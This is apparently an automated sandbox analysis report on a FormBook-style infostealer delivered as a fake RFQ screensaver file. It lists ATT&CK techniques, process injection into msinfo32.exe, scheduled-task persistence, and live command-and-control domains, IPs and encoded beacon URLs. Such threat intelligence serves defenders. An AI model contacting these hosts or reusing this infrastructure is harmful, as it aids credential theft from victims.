Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E10415 sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,	12_2_61E10415
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E287A8 sqlite3_bind_pointer,sqlite3_mutex_leave,	12_2_61E287A8
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28777 sqlite3_bind_null,sqlite3_mutex_leave,	12_2_61E28777
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28751 sqlite3_bind_int,sqlite3_bind_int64,	12_2_61E28751
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28702 sqlite3_bind_int64,sqlite3_mutex_leave,	12_2_61E28702
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E2869D sqlite3_bind_double,sqlite3_mutex_leave,	12_2_61E2869D
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28676 sqlite3_bind_text16,	12_2_61E28676
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28609 sqlite3_bind_text64,	12_2_61E28609
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28979 sqlite3_bind_zeroblob64,sqlite3_mutex_enter,sqlite3_bind_zeroblob,sqlite3_mutex_leave,	12_2_61E28979
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28892 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,	12_2_61E28892
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28825 sqlite3_bind_zeroblob,sqlite3_mutex_leave,	12_2_61E28825

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	512 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	16 System Information Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	4 Obfuscated Files or Information	NTDS	2 Security Software Discovery	Distributed Component Object Model	1 Email Collection	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	512 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RFQ_P.O.1212024.scr	39%	Virustotal		Browse
RFQ_P.O.1212024.scr	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\PEJmengI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\sqlite3.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.bankseedz.info/an5q/	0%	Avira URL Cloud	safe
https://www.mrpokrovskii.pro/7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH	0%	Avira URL Cloud	safe
http://www.learniit.info/n8su/	0%	Avira URL Cloud	safe
http://www.questmatch.pro/1yxc/	0%	Avira URL Cloud	safe
http://www.zoiheat.xyz/ti6k/?e2E=wRQ8oHXx&x4=aooN9XnxZY5vLLqjRSo6DpWN4fgsD3CW9S/CD7OrytslWQsmx2XgIWNhq2ot6qnFvMzcVXyCAoOGhogdqicJCN8EOoBxC+Cz12DK8fUp+S6/f8QxRRTszX5C8Y75	0%	Avira URL Cloud	safe
http://www.airrelax.shop/gvzg/	0%	Avira URL Cloud	safe
http://www.bankseedz.info/an5q/?x4=ht9kvQ/be1JP/b8GmoJbUpka8BxXZHDjKA2fsfIfXx0uGnoFDxCnuQ2Syamf2AV1LytjWJjmrwJ3QA9mKPa/MpeqH9CIj747RQUAZUa71OOzgLnsSxYrvroJ5BNI&e2E=wRQ8oHXx	0%	Avira URL Cloud	safe
http://www.mrpokrovskii.pro/7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH+SaZEqPzQm7dEGcSvaBjSz44Tn+gLzjg3KkouZfQr0KlXeCQD7BohQrjjLoRt3TUvjzHSULJDbynuVmorsgWcKo&e2E=wRQ8oHXx	0%	Avira URL Cloud	safe
http://www.carsten.studio/8mom/	0%	Avira URL Cloud	safe
http://www.rysanekbeton.cloud/k6bb/?e2E=wRQ8oHXx&x4=Z6Ib5suwfioT2MqU06AO+PAui2zXunW520tiYNnV3r2mKqn+I/1Rk8X6nyOI9yPQWIZ7sVBW06SOuYuNHwSa/K8QYKA8w9Q0BnY6RfjXUsKFmlTp4Coq9mQ/L3NZ	0%	Avira URL Cloud	safe
http://www.questmatch.pro/1yxc/?x4=sNv20zOiDYMkOMIZUAMTdfOFf2lUUMo2G3KMZ1n3ZrvJqNyjokS5weFlZhKtUuMXj8jBQ4ipfeoXnmxfx9jFO8nPHTBXwG0erHwEdD0EmkjwsdzIUyNTuEGbdIq/&e2E=wRQ8oHXx	0%	Avira URL Cloud	safe
http://www.vayui.top	0%	Avira URL Cloud	safe
http://www.kvsj.net/zu0o/	0%	Avira URL Cloud	safe
http://www.dietcoffee.online/ugyg/?x4=oCZiSXk+P+GRfK1BPGYe2jAbGy6NfuRnUXBBKsmFkR5XdaXHzOV8cRyPm0SlplEQyKXzoexQZCmJiHD77mrvft/NmZQ5KxY7IzFSGPZt8SE9dF3swuxanCIPkslF&e2E=wRQ8oHXx	0%	Avira URL Cloud	safe
http://www.krshop.shop/5p01/?x4=gA6TElZrCKVvAudJqCgIj+rDW60O9S/KrsL6QppRHZfK3DYPsJvxk4hrjtesZ+QJ9tNiW026ZluxU0disiqWvA+4TRd5XHrMIpgHSW93WHtTmPUKepAYQ6lEihd3&e2E=wRQ8oHXx	0%	Avira URL Cloud	safe
https://gamesfunny.top$	0%	Avira URL Cloud	safe
http://www.dietcoffee.online/ugyg/	0%	Avira URL Cloud	safe
http://www.smartcongress.net/m1g9/	0%	Avira URL Cloud	safe
http://www.mrpokrovskii.pro/7mvy/	0%	Avira URL Cloud	safe
http://www.vayui.top/ge5i/?x4=jPU0HPuwZISEZ5CnqmUb1HxQcmHsEJWSHx9v/3j//xH9iOmom18fULHPXhZRerzvXxOw9xjpncAMgCVYCBSLizB0ok2+/BrdQFUexat22mesfNVGJAdc0xNIeHt8&e2E=wRQ8oHXx	0%	Avira URL Cloud	safe
http://www.airrelax.shop/gvzg/?x4=3ZtrxXVK8OpQj/IeinJ3ZiXeAcGxlO+Pqtakmq6NsaDAWPHTfqsTTp3MR0RJjMVggAZP9MES5OMDJz4L+ZnM27rh6ujY7a8DVehBMFx021rrXiLY5F9HpwIHbLcF&e2E=wRQ8oHXx	0%	Avira URL Cloud	safe
http://www.rysanekbeton.cloud/k6bb/	0%	Avira URL Cloud	safe
http://www.learniit.info/n8su/?e2E=wRQ8oHXx&x4=lFR6PBva/PMsONRXI0WwK0wAlPs3/3LGo4dEt9E07rmpJDSADrt1oQ5wEpxa5wprSOBn2CzJO8jS1Mfo/039O8MFhYDOYZlyw2UFRkURX7D2yJawivbRUB3rqqzd	0%	Avira URL Cloud	safe
http://www.vayui.top/ge5i/	0%	Avira URL Cloud	safe
http://www.krshop.shop/5p01/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.bankseedz.info	46.30.211.38	true	true	unknown
www.vayui.top	172.67.145.234	true	false	high
www.learniit.info	203.161.42.73	true	true	unknown
carsten.studio	217.160.0.200	true	true	unknown
www.diozusemails.buzz	69.48.179.238	true	true	unknown
www.airrelax.shop	172.67.215.235	true	true	unknown
natroredirect.natrocdn.com	85.159.66.93	true	false	high
www.krshop.shop	13.248.169.48	true	true	unknown
www.kvsj.net	173.236.199.97	true	true	unknown
www.questmatch.pro	188.114.97.6	true	false	high
www.mrpokrovskii.pro	85.25.177.138	true	false	high
smartcongress.net	146.88.233.115	true	false	high
www.dietcoffee.online	77.68.64.45	true	false	high
www.sqlite.org	45.33.6.223	true	false	high
rysanekbeton.cloud	81.2.196.19	true	true	unknown
www.sodatool.site	unknown	unknown	false	unknown
www.rysanekbeton.cloud	unknown	unknown	false	unknown
www.zoiheat.xyz	unknown	unknown	true	unknown
www.carsten.studio	unknown	unknown	false	unknown
www.tb0.shop	unknown	unknown	false	unknown
www.smartcongress.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.learniit.info/n8su/	true	Avira URL Cloud: safe	unknown
http://www.bankseedz.info/an5q/	true	Avira URL Cloud: safe	unknown
http://www.mrpokrovskii.pro/7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH+SaZEqPzQm7dEGcSvaBjSz44Tn+gLzjg3KkouZfQr0KlXeCQD7BohQrjjLoRt3TUvjzHSULJDbynuVmorsgWcKo&e2E=wRQ8oHXx	true	Avira URL Cloud: safe	unknown
http://www.carsten.studio/8mom/	true	Avira URL Cloud: safe	unknown
http://www.zoiheat.xyz/ti6k/?e2E=wRQ8oHXx&x4=aooN9XnxZY5vLLqjRSo6DpWN4fgsD3CW9S/CD7OrytslWQsmx2XgIWNhq2ot6qnFvMzcVXyCAoOGhogdqicJCN8EOoBxC+Cz12DK8fUp+S6/f8QxRRTszX5C8Y75	true	Avira URL Cloud: safe	unknown
http://www.questmatch.pro/1yxc/	true	Avira URL Cloud: safe	unknown
http://www.bankseedz.info/an5q/?x4=ht9kvQ/be1JP/b8GmoJbUpka8BxXZHDjKA2fsfIfXx0uGnoFDxCnuQ2Syamf2AV1LytjWJjmrwJ3QA9mKPa/MpeqH9CIj747RQUAZUa71OOzgLnsSxYrvroJ5BNI&e2E=wRQ8oHXx	true	Avira URL Cloud: safe	unknown
http://www.airrelax.shop/gvzg/	true	Avira URL Cloud: safe	unknown
http://www.rysanekbeton.cloud/k6bb/?e2E=wRQ8oHXx&x4=Z6Ib5suwfioT2MqU06AO+PAui2zXunW520tiYNnV3r2mKqn+I/1Rk8X6nyOI9yPQWIZ7sVBW06SOuYuNHwSa/K8QYKA8w9Q0BnY6RfjXUsKFmlTp4Coq9mQ/L3NZ	true	Avira URL Cloud: safe	unknown
http://www.questmatch.pro/1yxc/?x4=sNv20zOiDYMkOMIZUAMTdfOFf2lUUMo2G3KMZ1n3ZrvJqNyjokS5weFlZhKtUuMXj8jBQ4ipfeoXnmxfx9jFO8nPHTBXwG0erHwEdD0EmkjwsdzIUyNTuEGbdIq/&e2E=wRQ8oHXx	true	Avira URL Cloud: safe	unknown
http://www.kvsj.net/zu0o/	true	Avira URL Cloud: safe	unknown
http://www.dietcoffee.online/ugyg/?x4=oCZiSXk+P+GRfK1BPGYe2jAbGy6NfuRnUXBBKsmFkR5XdaXHzOV8cRyPm0SlplEQyKXzoexQZCmJiHD77mrvft/NmZQ5KxY7IzFSGPZt8SE9dF3swuxanCIPkslF&e2E=wRQ8oHXx	true	Avira URL Cloud: safe	unknown
http://www.dietcoffee.online/ugyg/	true	Avira URL Cloud: safe	unknown
http://www.krshop.shop/5p01/?x4=gA6TElZrCKVvAudJqCgIj+rDW60O9S/KrsL6QppRHZfK3DYPsJvxk4hrjtesZ+QJ9tNiW026ZluxU0disiqWvA+4TRd5XHrMIpgHSW93WHtTmPUKepAYQ6lEihd3&e2E=wRQ8oHXx	true	Avira URL Cloud: safe	unknown
http://www.smartcongress.net/m1g9/	true	Avira URL Cloud: safe	unknown
http://www.mrpokrovskii.pro/7mvy/	true	Avira URL Cloud: safe	unknown
http://www.vayui.top/ge5i/?x4=jPU0HPuwZISEZ5CnqmUb1HxQcmHsEJWSHx9v/3j//xH9iOmom18fULHPXhZRerzvXxOw9xjpncAMgCVYCBSLizB0ok2+/BrdQFUexat22mesfNVGJAdc0xNIeHt8&e2E=wRQ8oHXx	true	Avira URL Cloud: safe	unknown
http://www.rysanekbeton.cloud/k6bb/	true	Avira URL Cloud: safe	unknown
http://www.airrelax.shop/gvzg/?x4=3ZtrxXVK8OpQj/IeinJ3ZiXeAcGxlO+Pqtakmq6NsaDAWPHTfqsTTp3MR0RJjMVggAZP9MES5OMDJz4L+ZnM27rh6ujY7a8DVehBMFx021rrXiLY5F9HpwIHbLcF&e2E=wRQ8oHXx	true	Avira URL Cloud: safe	unknown
http://www.learniit.info/n8su/?e2E=wRQ8oHXx&x4=lFR6PBva/PMsONRXI0WwK0wAlPs3/3LGo4dEt9E07rmpJDSADrt1oQ5wEpxa5wprSOBn2CzJO8jS1Mfo/039O8MFhYDOYZlyw2UFRkURX7D2yJawivbRUB3rqqzd	true	Avira URL Cloud: safe	unknown
http://www.sqlite.org/2019/sqlite-dll-win32-x86-3270000.zip	false		high
http://www.vayui.top/ge5i/	true	Avira URL Cloud: safe	unknown
http://www.krshop.shop/5p01/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	false		high
https://www.mrpokrovskii.pro/7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH	mrNbohrgjTw.exe, 00000014.00000002.873893935.0000000003428000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	false		high
https://securepubads.g.doubleclick.net/tag/js/gpt.js	msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	RFQ_P.O.1212024.scr, PEJmengI.exe.0.dr	false		high
http://www.vayui.top	mrNbohrgjTw.exe, 00000014.00000002.873703699.0000000000954000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	00255Of2.12.dr	false		high
https://ac.ecosia.org/autocomplete?q=	msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	false		high
https://playchill.top/api/axgames/request?domain=$	msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://gamesfunny.top$	msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.5.1.min.js	msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	msinfo32.exe, 0000000C.00000002.873979376.0000000003610000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.0000000003A70000.00000004.00000001.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RFQ_P.O.1212024.scr, 00000000.00000002.373003710.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, RFQ_P.O.1212024.scr, 00000000.00000002.373003710.0000000002B30000.00000004.00000800.00020000.00000000.sdmp, PEJmengI.exe, 0000000A.00000002.417275627.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, PEJmengI.exe, 0000000A.00000002.417275627.0000000002631000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	false		high
http://www.sqlite.org/copyright.html.	msinfo32.exe, 0000000C.00000002.874652822.0000000061EB2000.00000008.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	false		high
https://www.strato.de	mrNbohrgjTw.exe, 00000014.00000002.873893935.00000000040B8000.00000004.00000001.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.33.6.223	www.sqlite.org	United States	63949	LINODE-APLinodeLLCUS	false
146.88.233.115	smartcongress.net	France	53589	PLANETHOSTER-8CA	false
13.248.169.48	www.krshop.shop	United States	16509	AMAZON-02US	true
81.2.196.19	rysanekbeton.cloud	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	false
172.67.215.235	www.airrelax.shop	United States	13335	CLOUDFLARENETUS	true
77.68.64.45	www.dietcoffee.online	United Kingdom	8560	ONEANDONE-ASBrauerstrasse48DE	false
217.160.0.200	carsten.studio	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
188.114.97.6	www.questmatch.pro	European Union	13335	CLOUDFLARENETUS	false
203.161.42.73	www.learniit.info	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
85.25.177.138	www.mrpokrovskii.pro	Germany	8972	GD-EMEA-DC-SXB1DE	false
172.67.145.234	www.vayui.top	United States	13335	CLOUDFLARENETUS	false
173.236.199.97	www.kvsj.net	United States	26347	DREAMHOST-ASUS	true
46.30.211.38	www.bankseedz.info	Denmark	51468	ONECOMDK	true

Private

IP
192.168.2.255

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573579
Start date and time:	2024-12-12 10:18:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RFQ_P.O.1212024.scr
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winSCR@24/18@25/15
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 96% Number of executed functions: 100 Number of non-executed functions: 229
Cookbook Comments:	Found application associated with file extension: .scr Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target mrNbohrgjTw.exe, PID 1696 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:19:46	Task Scheduler	Run new task: PEJmengI path: C:\Users\user\AppData\Roaming\PEJmengI.exe
04:19:38	API Interceptor	89x Sleep call for process: RFQ_P.O.1212024.scr modified
04:19:45	API Interceptor	3x Sleep call for process: schtasks.exe modified
04:19:45	API Interceptor	109x Sleep call for process: powershell.exe modified
04:19:47	API Interceptor	397x Sleep call for process: taskeng.exe modified
04:19:49	API Interceptor	118x Sleep call for process: PEJmengI.exe modified
04:20:12	API Interceptor	4808x Sleep call for process: mrNbohrgjTw.exe modified
04:20:17	API Interceptor	12821512x Sleep call for process: msinfo32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.33.6.223	PAYMENT_TO_NFTC_(CUB)_26-11-24.doc	Get hash	malicious	DarkTortilla, FormBook	Browse	www.sqlite.org/2016/sqlite-dll-win32-x86-3110000.zip
	HZ1ZzlIpm7.vbe	Get hash	malicious	FormBook	Browse	www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	www.sqlite.org/2019/sqlite-dll-win32-x86-3290000.zip
	0CkEHZjZgO.vbs	Get hash	malicious	FormBook	Browse	www.sqlite.org/2020/sqlite-dll-win32-x86-3320000.zip
	RFQ.docx	Get hash	malicious	FormBook	Browse	www.sqlite.org/2018/sqlite-dll-win32-x86-3250000.zip
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.sqlite.org/2021/sqlite-dll-win32-x86-3350000.zip
	Oct2024TU-580.xls	Get hash	malicious	Unknown	Browse	www.sqlite.org/2021/sqlite-dll-win32-x86-3360000.zip
	SGS-Report0201024.xla.xlsx	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3200000.zip
	IND24072113.xlsx	Get hash	malicious	Unknown	Browse	www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
	ekte.exe	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3180000.zip
146.88.233.115	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/qtfx/
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/m1g9/
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.smartcongress.net/qtfx/
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.smartcongress.net/11t3/
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.smartcongress.net/11t3/
	Purchase Order PO.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/qtfx/
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/11t3/
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/11t3/
	payments.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/11t3/
13.248.169.48	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	sharewood.xyz/administrator/index.php
	MA-DS-2024-03 URGENT.exe	Get hash	malicious	FormBook	Browse	www.snyp.shop/4nyz/
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/lp5b/
	AWB_5771388044 Documente de expediere.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	AWB_5771388044 Documente de expediere.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	Payment Advice - Advice RefA2dGOv46MCnu -USD Priority payment.exe	Get hash	malicious	FormBook	Browse	www.hsa.world/09b7/
	MN1qo2qaJmEvXDP.exe	Get hash	malicious	FormBook	Browse	www.lovel.shop/rxts/
	RFQ _ Virtue 054451000085.exe	Get hash	malicious	FormBook	Browse	www.snyp.shop/4nyz/
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	www.krshop.shop/5p01/
	DHL_734825510.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/440l/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.bankseedz.info	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	46.30.211.38
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	46.30.211.38
www.learniit.info	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
www.vayui.top	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	172.67.145.234
	ek8LkB2Cgo.exe	Get hash	malicious	FormBook	Browse	172.67.145.234
	PO 4110007694.exe	Get hash	malicious	FormBook	Browse	104.21.95.160
	Latest advice payment.exe	Get hash	malicious	FormBook	Browse	172.67.145.234
	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.145.234
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	104.21.95.160
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	172.67.145.234
	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.145.234
	S#U0130PAR#U0130#U015e No.112024-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.95.160
	purchase Order.exe	Get hash	malicious	FormBook	Browse	172.67.145.234
www.airrelax.shop	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	172.67.215.235
	Order MEI PO IM202411484.exe	Get hash	malicious	FormBook	Browse	172.67.215.235
	IETC-24017.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.16.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://url41.mailanyone.net/scanner?m=1tLLkn-000000000Cu-3MPx&d=4%7Cmail%2F90%2F1733919600%2F1tLLkn-000000000Cu-3MPx%7Cin41e%7C57e1b682%7C16739527%7C12325088%7C67598451340A7E7E34A434AD05811D2E&o=%2Fphts%3A%2Futs.s-wr-2petncotsio.etooop%2F.cmhser%3Fd%26.dv%3D2HHu%3D60cMaRtwLyzWIN9dDWQ0j0ZBOMkiZTWDNZlNTGFmj1MdNMhhZDGDZOROGjYu2uZVcIshL13m9bRZWmNz%3D0bwLhYN%26iQVjj%3DWgZ2MNNTwzmZZWIZJlWwW%3DFkM0%26tM2l121NaQSdK5YKQ3FWZeheTURUTubJOt2oOSTWgZtZT2BvQlNBQl%3DUSThT0%26lR04%3D4d05f88a4f83c102fc8d7af5079V%266bP%3DANdsFUUEk0NThTVVNScUSYWBBbgJ7rzlyn1ERkBSzh9qmzIX6xvrbsyM8qb6f4HC59eiDbrDsPv9W1mhDcOFm%23uMyW5bUaWm5iAtZ5cVujem228YFYt9&s=dQ2VS6ieQ8nkhuwt32k9X8A6qOU	Get hash	malicious	HTMLPhisher	Browse	13.227.8.58
